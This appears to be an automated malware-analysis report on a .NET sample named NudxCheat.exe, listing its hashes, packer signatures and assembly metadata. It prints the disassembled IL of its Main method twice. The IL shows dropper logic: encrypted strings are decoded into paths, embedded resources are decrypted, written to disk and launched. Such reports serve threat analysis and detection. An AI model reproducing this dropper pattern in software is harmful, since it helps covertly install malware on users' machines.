Deep Malware Analysis of 82197c5b9f2fc8a489b22c0ba37524e3 | md5: 82197c5b9f2fc8a489b22c0ba37524e3 | Executable | PE (Portable Executable) | .Net | SOS: 0.80 | Managed .NET | PE File Layout | Win 32 Exe | x86

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Symbol Obfuscation Score Very high

MD5	82197c5b9f2fc8a489b22c0ba37524e3
Sha1	4504af35b08d1f0e39c42d0baf0b6dfafb692fcf
Sha256	d7911e5dd2701c93eef7f8ed2b92e9269e74b14146e8c55d6801bfee3eb42eab
Sha384	0c1d512d0d67217774542498476251973f553abe9350ba0ab3471c1b6311025eedb300b2f672b14f25df02fdcd7e7399
Sha512	f7442ac31a7edb1d953dd252be3f9d6f528964379934a7b75e503e80bf73b5bcf9df3c78c4b9c855efece3c28e7a666f9b18f8658edfce066f028706f76f45db
SSDeep	393216:wGCMDiCh06Sys137KWpPLAxy0uUJ8ZmGmRXLk9rlr3kEkjM88iKQpyGqrTJB:bCMDfyXysLLAxluw8ZVmRXohlDkrM8Hq
TLSH	36373319367AD052DF94603BAE0FC66EC3035FBF6AA7E93D7519203813B3566842F294

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon

STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2

Name	Value
Module Name	NudxCheat.exe
Full Name	NudxCheat.exe
EntryPoint	System.Void pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::Main()
Scope Name	NudxCheat.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	NudxCheat
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	19
Main Method	System.Void pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::Main()
Main IL Instruction Count	138
Main IL	ldc.i4.3 <null> newarr System.String[] stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.4 <null> newarr System.String stloc.s V_5 ldloc.s V_5 ldc.i4.0 <null> ldstr hb7GU6CsTGCp7p57EbtymA== stelem.ref <null> ldloc.s V_5 ldc.i4.1 <null> ldstr uCdJbj2W6Ml2WOf/fCigow== stelem.ref <null> ldloc.s V_5 ldc.i4.2 <null> ldstr zhhfwffpqgkqpeeb stelem.ref <null> ldloc.s V_5 ldc.i4.3 <null> ldstr 3r840DERIGdCYrfdoZIE3w== stelem.ref <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 ldc.i4.1 <null> ldc.i4.4 <null> newarr System.String stloc.s V_6 ldloc.s V_6 ldc.i4.0 <null> ldstr hb7GU6CsTGCp7p57EbtymA== stelem.ref <null> ldloc.s V_6 ldc.i4.1 <null> ldstr +YKNcs7Y8baSOmLse84IRQ== stelem.ref <null> ldloc.s V_6 ldc.i4.2 <null> ldstr jyfhvtdpprcuhjbn stelem.ref <null> ldloc.s V_6 ldc.i4.3 <null> ldstr 3r840DERIGdCYrfdoZIE3w== stelem.ref <null> ldloc.s V_6 stelem.ref <null> ldloc.s V_4 ldc.i4.2 <null> ldc.i4.4 <null> newarr System.String stloc.s V_7 ldloc.s V_7 ldc.i4.0 <null> ldstr vAvuC7AfvasZ5OtWF5tUiA== stelem.ref <null> ldloc.s V_7 ldc.i4.1 <null> ldstr W+31erX3veqrKcOm6ycZ4A== stelem.ref <null> ldloc.s V_7 ldc.i4.2 <null> ldstr lkgbmvbfzmesyuqc stelem.ref <null> ldloc.s V_7 ldc.i4.3 <null> ldstr 3r840DERIGdCYrfdoZIE3w== stelem.ref <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_4 stloc.0 <null> ldstr kebvzikfhzxgzkaq call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() newobj System.Void System.Resources.ResourceManager::.ctor(System.String,System.Reflection.Assembly) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_012D: ldloc.2 ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> ldstr rZjJ3sfXFooFLI4ESAVRaWaiIDFIBvJNZku/8P6HpOM= call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_00D7: call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) call System.String System.Environment::GetEnvironmentVariable(System.String) br.s IL_00DC: ldloc.0 call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.1 <null> ldelem.ref <null> call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> ldloc.1 <null> ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.2 <null> ldelem.ref <null> callvirt System.Object System.Resources.ResourceManager::GetObject(System.String) castclass System.Byte[] call System.Byte[] pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::pcgstacvhgzjth(System.Byte[]) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.3 <null> ldelem.ref <null> call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) ldstr 3r840DERIGdCYrfdoZIE3w== call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_0129: ldloc.2 ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4.3 <null> blt.s IL_00B5: ldloc.0 ret <null>
Info	PE Detect: PeReader OK (file layout)
Module Name	NudxCheat.exe
Full Name	NudxCheat.exe
EntryPoint	System.Void pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::Main()
Scope Name	NudxCheat.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	NudxCheat
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	19
Main Method	System.Void pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::Main()
Main IL Instruction Count	138
Main IL	ldc.i4.3 <null> newarr System.String[] stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.4 <null> newarr System.String stloc.s V_5 ldloc.s V_5 ldc.i4.0 <null> ldstr hb7GU6CsTGCp7p57EbtymA== stelem.ref <null> ldloc.s V_5 ldc.i4.1 <null> ldstr uCdJbj2W6Ml2WOf/fCigow== stelem.ref <null> ldloc.s V_5 ldc.i4.2 <null> ldstr zhhfwffpqgkqpeeb stelem.ref <null> ldloc.s V_5 ldc.i4.3 <null> ldstr 3r840DERIGdCYrfdoZIE3w== stelem.ref <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 ldc.i4.1 <null> ldc.i4.4 <null> newarr System.String stloc.s V_6 ldloc.s V_6 ldc.i4.0 <null> ldstr hb7GU6CsTGCp7p57EbtymA== stelem.ref <null> ldloc.s V_6 ldc.i4.1 <null> ldstr +YKNcs7Y8baSOmLse84IRQ== stelem.ref <null> ldloc.s V_6 ldc.i4.2 <null> ldstr jyfhvtdpprcuhjbn stelem.ref <null> ldloc.s V_6 ldc.i4.3 <null> ldstr 3r840DERIGdCYrfdoZIE3w== stelem.ref <null> ldloc.s V_6 stelem.ref <null> ldloc.s V_4 ldc.i4.2 <null> ldc.i4.4 <null> newarr System.String stloc.s V_7 ldloc.s V_7 ldc.i4.0 <null> ldstr vAvuC7AfvasZ5OtWF5tUiA== stelem.ref <null> ldloc.s V_7 ldc.i4.1 <null> ldstr W+31erX3veqrKcOm6ycZ4A== stelem.ref <null> ldloc.s V_7 ldc.i4.2 <null> ldstr lkgbmvbfzmesyuqc stelem.ref <null> ldloc.s V_7 ldc.i4.3 <null> ldstr 3r840DERIGdCYrfdoZIE3w== stelem.ref <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_4 stloc.0 <null> ldstr kebvzikfhzxgzkaq call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() newobj System.Void System.Resources.ResourceManager::.ctor(System.String,System.Reflection.Assembly) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br.s IL_012D: ldloc.2 ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> ldstr rZjJ3sfXFooFLI4ESAVRaWaiIDFIBvJNZku/8P6HpOM= call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_00D7: call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) call System.String System.Environment::GetEnvironmentVariable(System.String) br.s IL_00DC: ldloc.0 call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.1 <null> ldelem.ref <null> call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> ldloc.1 <null> ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.2 <null> ldelem.ref <null> callvirt System.Object System.Resources.ResourceManager::GetObject(System.String) castclass System.Byte[] call System.Byte[] pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::pcgstacvhgzjth(System.Byte[]) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.3 <null> ldelem.ref <null> call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) ldstr 3r840DERIGdCYrfdoZIE3w== call System.String pkgyhwiirnuxfpuupjfgjxsfwm.pkgyhwiirnuxfpuupjfgjxsfwm::vipvefhgddwllml(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_0129: ldloc.2 ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4.3 <null> blt.s IL_00B5: ldloc.0 ret <null>